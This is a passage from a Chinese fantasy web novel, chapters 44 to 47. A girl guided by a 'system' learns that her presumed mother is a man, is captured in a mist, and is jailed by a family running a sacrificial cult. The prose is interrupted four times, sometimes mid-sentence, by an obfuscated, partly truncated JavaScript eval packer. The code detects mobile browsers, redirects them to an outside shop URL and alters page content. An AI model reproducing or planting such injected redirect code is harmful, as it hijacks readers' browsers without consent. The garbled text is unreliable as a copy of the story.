“仙人,你别离我太远,我害怕。”方锦悠像鬼一样出现在柳沅身后,拉住了她的胳膊。她被烦的受不了,无奈道:“你别一口一个仙人喊我了,怪奇怪的。” “那我应该叫你什么?”方锦悠眨眨眼,一脸期待地望着她。 “我叫柳沅,你可以直接喊我的名字。”她道。 方锦悠眼珠一转,软绵绵地喊了声柳沅姐姐。 紧接着,一股撕裂般的疼痛从经脉深处传来,方锦悠痛苦地弯下了腰,大喊救命。柳沅站在一旁,懵懂地望向应无霁:“这是怎么了?” 应无霁没什么表情,只是唇角比平时更往下压了压。他用看智障的眼神从上到下扫视了柳沅一圈,冷漠地吐出两个字:“是蛊。“ 蛊?什么蛊这么厉害?方锦悠看上去都快死了。 她正好奇探头,应无霁长臂一伸,硬是被她的头掰正,让她只能看见他。 “你干什么?“柳沅觉得莫名奇妙。 应无霁微微一笑:“不干什么,你干什么?” “我看看他到底怎么了。”柳沅回答道。 话音刚落,应无霁轻轻打了个响指,方锦悠的身上突然冒起火来,和之前他惩罚那群调戏他的男人身上的一样。柳沅还记得上次那种火焰险些闹出人命,紧张地望向他。 应无霁又打了个响指,火焰更旺了。方锦悠却感觉经脉处的灼烧并没有那么严重了,能直起腰了。他诧异地回头,呢喃道:“竟然不疼了。” “这是怎么回事?”柳沅忙问道。 应无霁一边打量着院落的布局,一边不紧不慢地解释道:“这种蛊虫怕火。” 说完,他皱起眉头,指着院子里仅有的两间房间,望向方锦悠:“怎么只有两间房?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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应无霁低头,静静地望着她。 “你……”话到嘴边,柳沅却怎么都说不出来,结巴了半天,自暴自弃地低下头,嘟囔道:“算了。” “有什么话就直说,这不是你说的吗?”应无霁轻轻拉开她的手,边往桌边走边说道。 是啊,柳沅苦恼地挠了挠头,话是这么说没错,但是…… 但是她…… 算了,还是别问了。柳沅心里有种不祥的预感,总觉得自己问了之后会发生一些难以接受的事情,所以还是选择了闭嘴。 应无霁用法术点燃烛台,斜眼看到了柳沅郁闷的表情,轻轻扬起了嘴角。 又过了一会儿,房门被敲响了,柳沅正好站在门边,开门一看,是几个丫鬟。她们搬来了浴桶和热水,问他们是不是现在就要洗漱。 柳沅心里装着事,没反应过来,应无霁看她一眼,轻声道:“我先洗吧。” 于是柳沅看着丫鬟们布置好屏风,放好浴桶和皂角,又倒好热水,随后就跟着她们一起出去了。 外面的天色正在缓缓变暗,柳沅跟着几个丫鬟一起站在门口,静静等待着。 44. 他不是娘亲!(4) 那几个丫鬟都只有十一二岁的年纪,看上去还是孩子。孩子嘛,是最藏不住事的。 比如现在,她们就控制不住地四处乱看,还时不时露出害怕的表情,偷偷看一眼柳沅。 柳沅注意到了,装作不经意地提到了方锦悠和宋扶湘。 “都说这个女妖很厉害,方老爷说自己请遍了城中所有的修仙者都无法将她除去,说将希望全压在了我和我姐姐身上,让我们好好干,一定有重谢。”柳沅特意放慢了语速,边说边观察着这几个丫鬟的表情。 其实进方府这一遭,除了打听到宋扶湘对方锦悠有种奇怪的执念外,其它的信息一点都没得到。柳沅的谨慎告诉她一定还有隐情,只不过可能被刻意隐去了。而方府的丫鬟小厮说不定就是突破口。 她原来只是想打听打听额外的消息,没想到真让她发现了不对劲。这群丫鬟里,有一个高高瘦瘦,脸上有疤的女孩,全程脸色格外差劲,当柳沅说重谢时,她更是忍无可忍地翻了个白眼。 有蹊跷。 柳沅继续道:“不知道你们有没有一些小道消息能告诉我呀?” 领头的那个丫鬟很是谨慎,似乎知道那个丫鬟不对劲,转过头去警告地瞪了她一眼,随后转过头,赔笑道:“我们只知道这女妖凶狠异常,大家都避之不及,除此之外就真的没什么了。老爷和少爷苦这妖怪已久,真是要多谢仙人来了,一定能够把这妖怪除掉。” 这人一开口,其余的丫鬟也都嗡声附和,那丫头虽然满脸不爽,还是在同伴的提醒下敷衍地点点头。柳沅已经看出猫腻,既然现在问不出来,那就挑个没有其他人在场的机会,单独问。 她笑了笑,朝她们行了个拱手礼:“多谢各位,今晚恐有危险,你们要多加小心。” 那领头的丫鬟见她不再追问,暗自松了口气,连忙道:“多谢仙人提醒。” 院子的夜色越发深了,抬头望望远处,太阳的光辉已经快被黑暗淹没,那轮巨大的明月缓缓在天幕中显出轮廓。丫鬟们全都不受控制地低下头,紧张地攥着衣裙。 柳沅看了她们一眼,轻声道:“天色已晚,你们先回去吧,剩下的事情我自己来就可以了。” “可是……”领头的丫鬟还在犹豫。 “今晚是个特殊的夜晚,那女妖可能会回来,我怕会殃及到你们,还是先离开吧。”柳沅劝说道。 最后,恐惧战胜了坚持,丫鬟们连胜道谢,飞快地跑出了庭院。柳沅站在原地,盯着那个脸上带疤的女子,看着她消失在远处。 “警告,升级任务已启动,请宿主做好准备。”系统的提示音打破了院中的寂静。柳沅还沉浸在对方府事件的分析中,抬起头迷茫地啊了一声。 就是这一瞬间,眼前的景色迅速变化,她眨眨眼睛,眼前突然被一层层浓郁的雾气掩盖。 鼻尖传来皂角的清香,还有那股熟悉的,带着雪的香火味。 等等,不对。柳沅浑身的血液都冻住了。她僵硬地转过头,对上了一双水汪汪的眼睛。 那双眼睛似乎与白茫茫的雾气融在了一起,但在看到柳沅的一瞬间,猛然迸发出激烈的火焰。 柳沅不受控制地往下看去,看到了平坦的胸脯,精壮的肌肉,还有…… “啊!”她不受控制地尖叫起来。 咚咚咚—— 是一阵杂乱的脚步声,还有激烈的拍门声。 “仙人,怎么了?出什么事了?”方锦悠在门外焦急喊道。 房间内没有回应。 “没事吧?仙人?仙人?” 方锦悠的语气越来越急,甚至已经要着手破门而入了。就在他找出斧头,要砍门时,应无霁低沉的声音传来:“没事,只是不小心摔了一跤。” “摔了一跤?”方锦悠怀疑道。 “不用担心,晚上还没到,她不会出现的。”应无霁又道,这次的声音平稳了不少,听起来不像有事的样子。方锦悠勉强放下戒心,把斧头扔到地上,又问道:“我怎么没看见柳姐姐,我刚才听到的好像是她的声音,她在房间里吗?” 此时的柳沅正被应无霁攥着手腕,抵在浴桶边边,已经失去了思考能力。 应无霁冷冷地看她一眼,回答道:“她没事。” “哦,哦,那就好。”方锦悠听出了他声音里的不耐烦,尴尬地笑了几声,转身离去。 房门前的脚步声渐渐飘远,房间里的热度在一点一点地攀升。 柳沅怎么都没想到,她娘亲,她娘亲竟然是个…… 不,不是的,一定是她看错了。系统明明说应无霁就是她娘亲啊,而且一系列的任务也都是符合剧情走向的,他们确实也碰到了渣爹啊。 她把脑子想破都想不出来应无霁会是男的。 可是刚才看到的那一幕又不可能是假的。 她绝望地闭上眼睛,激烈地和自己的思想做着斗争。 “你要一直这样吗?”应无霁的声音突然从耳边炸开,柳沅一个激灵,睁开眼睛,发现自己被他抵在了浴桶边缘,手腕也被攥红了。 这个姿势看起来很是糟糕。 慌乱之下,她往应无霁的怀中倒去。 扑通—— 她的身体砸入水中,眼看就要抱上面前的身体,应无霁一个拉拽,把她牢牢制住了。 是男人的声音。她无法洗脑自己,应无霁就是发出了男人的声音。 可为什么,她眯起眼睛,自暴自弃地从上到下又把应无霁看了一遍,为什么他长的那么像女孩子。 不对,柳沅现在总算知道自己那股奇怪的感觉是怎么来的了,是她潜意识觉得不对劲,但是系统一直在给她洗脑应无霁是女的。 现在的局面有一半都是系统造成的! 她还在发愣,应无霁猛然拍了下她的头。 柳沅吃痛,注意力又回到他身上,见他长发微湿,面若桃花,又有些出神。 “柳沅,”应无霁忍无可忍地翻了个白眼,“看够了吗?” 她如梦初醒,连滚带爬地跳出浴桶,站在一旁不知所措地低下头。 “我……我……”她想道歉,话却卡在了喉咙中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“恭喜宿主,娘亲好感度提升五点,目前好感度60,请再接再厉。”系统欢快的播报声在耳边响起。 柳沅把外袍一拉,气愤地往架子上一甩,阴沉道:“什么娘亲,谁家娘亲是男的?你最好给我个最合理的解释。” 系统愣了一下,随后问道:“什么意思?什么娘亲是男的,应无霁是男的?” 柳沅听到它竟然也很震惊,脱衣服的手不由得一顿:“你不知道?” “等等,一开始的任务对象就是娘亲,系统是不会出错的。”系统强调道。 “刚刚你启动了升级任务,然后我就突然被传送到应无霁洗澡的浴桶里。”剩下的话柳沅没说出来,但系统已经明白了。 “不对啊,总不可能是弄错任务对象了吧哈哈哈。”系统干笑几声。 柳沅砰的一声跳进浴桶,疲惫地仰起头,无神的双眼绝望地望着天花板:“总不该这是本狗血至极的双男主小说,应无霁女扮男装,还有生子元素吧?” 45. 他不是娘亲!(5) “还有,你这个升级任务到底是怎么回事?怎么会让我突然出现在应无霁的浴桶里?”她质问道。 系统哈哈尬笑两声,解释道:“这不是想增进一下你俩的感情吗?” “你有病吧,增进感情用得着用这种方式吗?”她骂道,“我说系统,你真的不觉得这些任务很奇怪吗?” “按常理来说,要提升娘亲的好感度,也用不着那么频繁的肢体接触吧?你没发现你派发给我的任务都带着一种攻略属性吗?” 系统沉默了好一会儿,声音颤抖道:“你说的好像很对,不行,我得和总部核实一下,宿主您先等等。” 随后便是一阵长久的机械故障音,她感觉脑子一轻,好像有什么东西飞了出去。 “系统暂时失联,回归时间不定,书中世界危险,请宿主保护好自己。” 柳沅闭了闭眼睛,感受着热水浸泡身体的热度,第一次感受到彻头彻尾的无助。这大概是她来到这个世界以来,第一次认知崩塌的时刻。 如果应无霁不是她的娘亲,李怀朔也不是那个渣爹,那她真正的爹娘到底在哪里?如果系统给出的爹娘剧情是真的,那她找错了任务对象,真正的爹娘会不会因为这个剧情崩塌从此错过。 那她还能顺利出生吗? 最让她不安的其实是那个一直没有现身的反派。她总有一种预感,这反派一定在自己身边。 会是应无霁吗? 前面的想法都有理有据的,唯独认为应无霁是那个毁天灭地反派的想法被柳沅否认了。 怎么会呢?应无霁虽然看起来冷漠,但在柳沅和他朝夕相处的这段时间里,他从来没干过什么坏事,就连对杀妖吸取能量这件事都十分抵触,怎么可能是反派呢? 而且仔细想想,其实应无霁也从来没说过自己是女的。 柳沅回忆起每次自己喊他娘亲时他的神情,有点后知后觉。其实当时应无霁很不情愿吧,只是自己完全没注意到。 完了。她把手从水中拿出来,死死捂住了脸。 一切都完了。 洗完澡出来的时候,外面已经完全黑了,柳沅整整齐齐地穿好衣服,走到门边喊了一声应无霁。 没人回答。 她把弄湿的头发往后面挪了挪,又喊了一声,依旧没有回应。她觉得有点奇怪,准备推门看看,这时,放在桌边的桃木枝咻的一下飞过来,死死抵住了门。 咦。她歪头,疑惑地放下了开门的手。 四周一片寂静,突然,门外响起一阵模糊的交谈声,伴随着刺耳的铃铛声,一下接着一下,似乎要敲到灵魂深处。 柳沅感觉眼前出现了一片白茫茫的雾气,雾气中还传来应无霁喊她的声音。 “柳沅,柳沅?” 她猛地打了一个激灵,眼前的雾突然消散,出现了应无霁的脸。桃木枝悬在空中,对准她的头顶,狠狠打了下去。 “哎哟!”她抱住了自己的头,大喊一声。 应无霁拉着她的手腕,画了个什么标志,急匆匆道:“事情有变,你呆在这里不要乱跑,我去去就来。” 恍惚间,柳沅才发现她和应无霁都不在原来的那个房间,而是身处一片浓郁的雾气中。 应无霁走的时候留下了桃木枝,此刻它正急速在她周围绕圈。柳沅揉了揉眼睛,突然发现前面有一道熟悉的背影。 好像是方锦悠。 “救命!救命啊!”他被一个看不见的东西拖拽着往雾气深处滑去,一边挣扎一边大喊,慌乱中,他看见了站在远处的柳沅。 方锦悠立即像抓住了救命稻草,朝着她狂喊道:“柳姐姐!柳姐姐!我在这,你快救救我!” 他的喊声实在无法忽略,柳沅被迫将刚滑过去的眼神重新转过来,装作一副刚看见他的样子,吃惊道:“你怎么了?没事吧?” “救我啊,柳姐姐!”方锦悠声嘶力竭地喊道。 浓雾中视物不清,柳沅不确定钳制住他的到底是个什么东西,只能依稀看见方锦悠肩上搭着一双长满黑毛的手。她回忆起刚才应无霁的叮嘱,紧张地咽了咽口水,没说话。 现在这种未知的危险情况下,系统也失联了,她这边的最强战力也不见了,最好的自保方式就是原地不动。 谁又能确定,现在这个挣扎着喊救命的家伙不是妖怪假扮的呢? 方锦悠的喊声穿透力很强,柳沅站在原地,坚定地捂住了耳朵,当作没听见。 “柳姐姐,仙人,救救我啊!”他的声音渐渐远去,与此同时,又是一阵脚步声。柳沅转身,看见一个黑色的身影,仿佛鬼魅,在雾气中若隐若现。 “有人吗?”那身影踉跄了一下,喊道。 这不是贺听舟的声音吗?她一怔,随后那道身影猛然加速,朝着方锦悠所在的方向飞速而去,只听的一声尖叫,贺听舟拽着吓得失神的方锦悠飞上了天。 下一刻,桃木枝被一股无形的力量拦住,柳沅身旁起了一阵风,抬头时,贺听舟和方锦悠已经站在了她身旁。 柳沅眨眨眼,贺听舟也眨眨眼。 “你怎么会在……”她还没问出口,就被贺听舟一个肘击肘到了肚子。剧痛让她弯下了腰,柳沅听到贺听舟气愤的声音在耳边响起:“我不是说让你别乱跑吗,我翻遍了整个方府都没找到你!” 柳沅疼的龇牙咧嘴:“你还真去找我了啊?” “不然呢?”贺听舟叉着腰,气冲冲地瞪着她。 沅突然有点想笑,抿紧了嘴唇,把溢到喉咙的笑忍了下去,直起腰来,一本正经问道:“你知道这是怎么回事吗?” 贺听舟摇摇头:“我原来在打坐,一睁眼就发现四周都起了雾。” “这雾气一般只有一种妖怪才会制造,但是……”她顿了顿,有点难以置信,“不过应该不会出现在云城这样的地方,那妖怪还算有追求的……” 一阵突然起来的晃动打断了她的话,原本在三人头顶上旋转不停的桃木枝咻的一下躲进了柳沅怀中,她先是一愣,随后猛地把贺听舟往外拉了一步。 一直安静着的方锦悠突然面露痛苦,四肢抽搐。 柳沅嗅到了一丝危险的气息,拉着贺听舟就往远处跑,可惜还是慢了一步,方锦悠的身体里突然涌出大量的蝴蝶,这些蝴蝶细看很像镜子的碎片,柳沅一下就想到了萤神只。 皮肤上的标记隐隐发起热来,世界天旋地转,柳沅感觉肩膀一重,转头一看,发现是一双长满黑毛的手,再转过一点,是萤神只那古怪又扭曲的脸。 世界陷入黑暗。 狂风吹动蓝色的衣摆,应无霁凝望着雾气深处蔓延的黑暗,走了过去。 一个人静静地站在黑暗核心处,似乎在等他。 应无霁停下脚步,淡淡开口:“放了她。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117704|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那人听见声音,转过身来,露出的却是叶子桐的脸。 他对应无霁找到自己并不意外,甚至还很期待。 “我们才是一路人,仙人若是加入我,我可以帮你解决你不想见到的那个人。当然,我也可以帮你找你你想找的人。” 闻言,应无霁的脸上闪过一丝厌烦,又很快被他掩盖过去。 “我只要你放人。”他又重复了一遍。 “不。”叶子桐慢条斯理地整理了下衣袍,对他露出一丝神秘的微笑:“这雾气可不是我放的,是另有其人,你要的人可不在我手里。” 说罢,叶子桐举起右手,朝着应无霁轻轻一点。 只听一道急促的风声,雾气被搅动,隐藏在暗处的无数鬼魅随之探头,呈包围势向他冲来。 应无霁侧身躲过,同时右手聚起火花,朝那鬼魅掷去。 “灵火?看来他说的还真是对的,只有鬼魅是无法困住你的。”叶子桐笑着,两只手交叠在一起,发出一道蓝色的流光,竟然包裹住了应无霁手心的火焰。 灵火是至纯的灵魂之火,是妖鬼最怕的东西,极难炼成,同时也几乎没有克星。但应无霁手中的灵火被克制了。 一定是那个人。 他猛然抬头,死死地盯着叶子桐。 虽然灵火已灭,那些鬼魅依旧畏惧着应无霁,不敢靠近,叶子桐轻笑一声,缓缓走近,边走边说道:“如果你愿意帮我,那我就不需要和那个人合作了。” “我其实很好奇,你明明有那么强的力量,为什么甘愿在一个小村庄里虚度光阴呢?” 应无霁不语,只是冷冷地盯着他。 雾气深处的黑暗核心正在蠢蠢欲动,叶子桐看了它一眼,刻意往距离它更远的地方挪了挪,这一细微的动作被应无霁发现了。 他聚起身体里仅剩的力量,猛地发作,直直地朝着那黑暗而去。他以为自己找到了叶子桐的破绽,殊不知这是他特意布下的陷阱。 “对付他,要用脑子,就连我也只能在他有伤的条件下和他打个平手。”李怀朔的声音在耳边响起,叶子桐得意地笑着,活动了一下手臂。 一根扭曲着变长的手臂与应无霁的脸颊擦过,又猝不及防地绕到他身后,将他往黑暗深处猛地一推。 不好。应无霁反应过来这是陷阱,可已经来不及了。手臂刺破了缠绕在黑暗边缘的透明细线,刹那间,一个巨大的漩涡凭空出现,将应无霁困在了里面。 叶子桐这才不紧不慢地收回自己的右臂,对着应无霁露出一个微笑。 “当然,这些东西说实话根本困不住你,”他抱着手臂,站在漩涡外,打量着应无霁,“这世界上没有什么东西能困住你。” “我很好奇,”说到这里,他低头笑了一声,“她会不会不一样?” 困住应无霁的黑气并不敢大肆进攻,只敢在距离他远一点的地方徘徊。两方处于一种围困住对方的姿态。应无霁紧皱眉头,却迟迟不肯出手。 “看来她的分量还不够呢。”叶子桐意味深长地说道,衣袖一挥,黑暗中赫然出现了柳沅苍白的脸。她正躺在地上,紧闭着双眼,表情痛苦不堪。 好奇怪的地方。‘ 好奇怪的感觉。 柳沅站在一处陌生的庭院中,感受着清晨带来的潮湿和寒气,将右手放在了胸膛上心脏的位置。 扑通——扑通—— 46. 他不是娘亲!(6) 心脏在有力地跳动,但她却感知不到自己活着。 算了。她摇摇头,把这种奇怪的想法清出脑海,顺着本能往前走去。 越走四周越荒芜。建筑在腐朽,荒草在生长,藤曼在缠绕…… 到最后,她走到了一片什么都不剩的原野,在烧焦的土堆旁坐了下来。天色在变暗,她本能地要寻找房屋,躲避这可怕的黑夜,却看见天边快要黯淡的晚霞突然燃烧起来,火舌卷的老高,将暗下去的天空照的一片苍白。 月亮,月亮? 柳沅缓缓瞪大了眼睛。 月亮不见了? 取而代之的是太阳,无比耀眼的太阳。太阳光的强度太剧烈,柳沅感觉全身处于一种被灼烧的状态下,难受地往后退。 身后传来欢呼声,柳沅转头,发现一群穿着村民衣服的妖魔鬼怪手舞足蹈着,源源不断的血液从他们张开的嘴里流出来,聚成了一条河,红色的河。她被推搡着加入怪物群中,在他们的手舞足蹈中被举了起来,然后…… 她看见了人群外,站着一个穿着蓝白色长袍的人。那双黑中透蓝,总是蒙着一层淡淡雾气的眼睛空无一物,枯黄的树叶固执地呆在他的头顶,随着微风轻轻摆动。 是应无霁。 又好像不是他。 她发现自己距离他越来越远,越来越远,直到…… 柳沅急促地喘息着,从梦中惊醒。眼前一片黑暗,鼻尖传来刺鼻的腐臭味,她惊魂未定,下意识往后靠,背贴上了一堵冰冷而厚重的墙。 “柳沅?”不远处传来贺听舟微弱的呼唤声,伴随着轻微的摩擦声。柳沅感觉一具身体正在缓缓接近自己,随之而来的还有微弱的光。 是从贺听舟腰间的饭盒上发出来的。 贺听舟捧着饭盒,照出了柳沅那张惨白的脸。 “哎哟,你没事吧?”她被吓了一大跳,忙问道。 柳沅虚弱地摇摇头,环顾了下四周,疑惑道:“这是哪?” 借着饭盒上宝石发出的微弱亮光,柳沅看到了满地的干草,粗壮的铁栅栏,还有几只从角落里蹿出来的老鼠。 怎么看起来这么像牢房呢? 角落里突然传出一道陌生的女声:“还能是哪?被关起来了。” 两人都被这突然的声音吓了一大跳,同一时间转过头,望向牢房的最角落。黑暗中,一个鼓鼓囊囊的东西缓慢挪动着,突然,一个人从那团阴影中跳了出来,柳沅倒吸一口凉气,认出这人就是那个丫鬟。 阿花冷静地抖掉身上粘住的干草,瞥了柳沅一眼,走到她们身边坐下。 “你认识她?”贺听舟观察到柳沅的表情,察觉到不对劲,问道。 柳沅没回答,直勾勾地盯着阿花。贺听舟也照着她的动作,也直勾勾地盯着阿花。 在这样的环境下,被两个活生生的人这样一直盯着,显然是件非常毛骨悚然的事情,阿花有点凶地回瞪了柳沅一眼,粗声道:“有什么话就直说。” “你怎么会在这里?”柳沅问道。 现在可以说这莫名其妙的雾气把她和贺听舟带来了这里,可阿花作为方府的下人,甚至在雾气弥漫之前离开了藤萝院,怎么也会出现在这里。 阿花古怪地笑了笑,声音很嘶哑:“你们来之前没听过方府的传闻吗?” 传闻?柳沅模糊的记忆中,似乎在贴告示的地方听到了一两句。 “方府大小姐身患怪病,”阿花的喉咙发出一道古怪的吞咽声,重重地咳了一声:“以重金求药,医治大小姐。” “你们真的以为有这么简单吗?” 宝石发出淡蓝色的微光,照在阿花凹陷的脸颊处,让她看起来有点惊悚。 “你是想说那个大小姐不是真的大小姐,方家其实只有一个少爷,少爷被妖女缠住,请求仙人来除妖?”柳沅说道。 阿花嗤笑一声,不屑地扫视着她,哑声道:“怎么可能是这样。咱们的方少爷是个出了名的纨绔,女妖怎么可能无缘无故就缠上他?你们仙人都是别人说什么就信什么吗?” 她的这句话让柳沅从脑子里拽出了不少东西,难怪她总觉得哪里不对劲,难怪方老爷那么着急让他们捉妖。 “你是说,我们是被方老爷关起来了?”贺听舟摸着下巴,若有所思道。 阿花点点头,嘲讽道:“方老爷痴迷于修仙,但天赋不行,于是想出了一种邪术,用人献祭,来召唤那些远古的妖神。” “妖神?”柳沅是第一次听到这个称呼,不由得问了一句。 “哎呀,”贺听舟推了下她的肩膀,“你不知道吗?这些妖鬼中有一种最可怕的存在,名叫墨鬼。” “它具有世界上最有毁灭性的力量,据说没有人能在它的手中活下来。” 柳沅感觉自己对这个世界的认知又清晰了一点。 “修仙者不仅是为了追求力量,也是为了探究世界的真相。”贺听舟突然道,“难道你就不好奇为什么怪物们独独聚集在黑夜呢?” 贺听舟的说法倒是新奇,这是柳沅来到这个世界第一次听到有人对黑夜发出疑问。自从她来到这个世界,所有人都将黑夜不能外出视作铁律,他们似乎都对这样的规则习以为常,没有人想过黑夜也是能够和白天一样正常的。 起初她只是以为这是这个修仙世界的特点,但贺听舟的这番话让她意识到事情并没有那么简单。 她还想再具体问问贺听舟,就听见阿花突然激动道:“那女妖就是妖神之一,方老爷为了修成仙,任凭她在府中为所欲为。” “他发布告示,为的就是将医者或修仙者聚集在一起,为接下来的献祭做准备。” 说到这里,她突然停顿了一下,有点阴森地笑了:“据说,修仙者的血肉是最滋补的。” “吃人修仙?这不太可能吧?”柳沅觉得有点荒谬,下意识望向贺听舟。 她也是一脸震惊,喃喃道:“怎么可能呢?” 阿花冷冷地扫过她们脸上的表情,幽幽道:“世界之大无奇不有,说不定这就是另一条路呢。” 话音刚落,漆黑的通道中突然闪过一丝火光,三人立即停止交谈,抵着冰冷的墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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叶子桐甩掉手中软绵绵的尸体,柔声道:“恐怕要麻烦您再去找找新的人了,这人说的话我不爱听,恐怕献祭时也会出乱子,我是提早帮您解决了一个大麻烦。” “您应该不会怪我吧?”他的语气很柔和,像是在和朋友进行再普通不过的日常谈话。 方老爷没说话,只是默默地退出牢房,继续带着他往前走。 空气中飘来淡淡的血腥味,柳沅不免打了个寒颤,过了好久才找回自己的声音。 “呃,你们……” “这件事好像越来越复杂了。”贺听舟突然道,“起初我只是以为和妖鬼相关,现在似乎涉及到我们入梦人内部了。” “刚才那个被杀掉的人,就是入梦人,那股气息我不会闻错。”她道。 众人沉默了一会儿,随后,方锦悠颤抖着的声音响起:“我可以带你们出去,我有钥匙。” 黑暗中,他手上拿着的钥匙发出冰冷的光。柳沅突然起身,把他往牢房中间一推,沉声道:“你一定知道些什么。” 47. 他不是娘亲!(7) “你之前并没有对我说实话。” 如今,所有事情都混在一起,实在没个头绪,贸然出去,只会送死。唯一的突破口就是方锦悠。 听了柳沅的话,他慌了,手中握住的钥匙啪的一下掉落在地,发出清脆的响声。 “仙人,你说什么呢?我哪里撒谎了,我说的都是真的,就是那个女妖缠着我,根本就不是我招惹的她。”他结巴道。 坐在一旁的阿花听完,冷笑一声。方锦悠听见了,借着微弱的光一看,立即大惊失色。 “你怎么也在?”他惊叫道。 柳沅的目光在方锦悠和阿花之间来回移动,最后沉声道:“我并没直说你在那女妖身上撒了谎,你在紧张什么?” 这话一出,方锦悠脸上的慌张更甚,贺听舟看不下去,直接上手,给他喂了一片树叶。 他想躲,没想到这树叶不是俗物,竟然一接触到他的嘴唇就化开了。方锦悠剧烈地咳嗽起来,想把那东西咳出来,但无济于事,还被柳沅捂住了嘴。 “他们才刚走,别太大声音。”她警告道。方锦悠点点头,柳沅这才放开手。 随后方锦悠眼珠一转,张开嘴就要大喊,幸好柳沅留了个心眼,快准狠地捂住了他的嘴。 他开始剧烈地挣扎,力度大到柳沅险些没按住他,旁边的贺听舟赶快上前,按住了他的双腿。牢房里被人特意设下了屏蔽阵法,施展了不了法术,三人只能肉搏。方锦悠本来就只是个沉溺于酒色的少爷,一开始的发力被按住之后就力竭了,乖乖被两人制服。 “没想到还藏着这一手呢。”贺听舟费力地从他紧握着的手中掏出传讯符,把它扔到地上。 方锦悠见自己的后手被识破,恼羞成怒,但双手双脚都被钳制住,嘴巴也被捂住,根本毫无反抗之力,只能把脸憋红了,眼睛瞪大了,看起来十分滑稽。 “我就知道你没那么老实,”柳沅冷笑一声,“你以为喊出来他们就会来救你吗?你爹都能用其他人的命修仙了,知道你听到了他的秘密,还会留你吗?动动脑子。” 听完这话,方锦悠挣扎的力度慢慢弱了下来,最后停止了动作,绝望地望着天花板。 “如果这次你再喊,我们就不会手下留情了。”柳沅又警告了他一遍,才试着放开手。 方锦悠垂头丧气地点点头。 于是她试探着松手,他果然没再喊了,只是整个人看上去萎靡了不少。 这时,贺听舟凑到她耳边,轻声道:“我刚才喂他吃了一片吐真,现在他说的话都会是真的。你可以尽情问。” “还有这种好东西?”柳沅一惊,总算露出了笑容。 贺听舟哼哼两声,甩了甩刘海,一副很神气的样子:“你不看看和你在一起的是谁,贺听舟,最聪明的入梦人。“ 柳沅忍不住笑了一声,随后迅速收敛好表情,严肃地对方锦悠道:“那你就把事情的来龙去脉说一遍吧。“ 在吐真的作用下,她们知晓了当时发生的真实情况。 方锦悠一直在这片大陆的最中心地带京都进学,只有在一些特殊的日子才会回来,所以在偏远的云城,大家只知道方家有个常年在外求学的孩子,并不知道是男是女。 这次方锦悠不小心惹上了为皇宫里做事的入梦人,被学院驱逐,垂头丧气回到云城,开始整日整日地泡酒楼。他其实对修仙并不感兴趣,天赋也不是很出众,学到十八岁依旧只会背咒语,根本施展不出法术。就算这样,方老爷还是费劲了力气,不惜动用各种人脉,硬是把他塞进了京都最大的学堂——知言院。 被学院驱逐让他面子上实在挂不住,与其呆在家里被方老爷整日整日地念叨,还不如出去躲清静。就是在这样的情况下,他遇见了宋扶湘。 方锦悠有个臭毛病,就是喜欢那种对他爱答不理的姑娘。越是对他态度不好,他就越是喜欢。等到姑娘被他追到了手,忍不住对他表明心意,他又会觉得没意思,毫不留情地拒绝人家。正常人都受不了这么巨大的前后反差,因此他就这样伤了不少姑娘的心。 当时宋扶湘坐在靠窗的位置,一个人喝着酒,方锦悠揽着好友的肩膀从楼下过,抬头时正好与她对视。 只一眼,他就知道自己的老毛病又犯了。 于是,他开始刻意打听这位姑娘的信息,并开始对她展开猛烈的攻势,送花送首饰,每天在酒楼附近晃悠。 终于,宋扶湘的态度有所松动。 他记得那是一个很美的黄昏。他们并肩走在街道上,天边的云霞烧的火红,呈现出一种醉人的玫瑰色。宋扶湘的眼睛在晚霞的映衬下呈现出一种格外特别的温柔,他就是在这样的眼神中,心脏不受控制地跳动起来。 “我……“他险些就要向她表明自己的心意,但宋扶湘朝他做了个噤声的手势,随后有点羞涩地低头,柔声道:”先别说好吗?我还没有做好准备。“ “听起来像是你突然发癔症了,她不像你说的那么温柔。”柳沅突然出声道。方锦悠被她这话噎了一下,不服气道:”贺姐姐都给我喂下吐真了,我绝对不可能说假话。” 柳沅还是一副怀疑的样子,方锦悠强忍着咽下一口气,接着道:“当时她说……” “可以请你帮个忙吗?”少女微微低着头,玫瑰色的脸颊衬得她惊人的美。方锦悠感觉呼吸都停滞了,一种从未有过的冲动从身体内部生发,随着血液流向全身。 他艰难地深吸一口气,脱口而出道:“我愿意,什么我都愿意。” 宋扶湘微微抬眼,只一眼就让他激动的差点晕过去。 “那一定要说话算话哦。”她微笑着,轻声道。 “所以她让你干什么了?”贺听舟突然问道。 方锦悠有点支支吾吾,想说又不太敢说,最后被柳沅敲了下头才委屈道:“她说,她说让我永远呆在她身边。我当时觉得这不过是一句情话,没想太多,可谁能想到她说的永远呆在她身边是那个意思。” 那日,他不过是 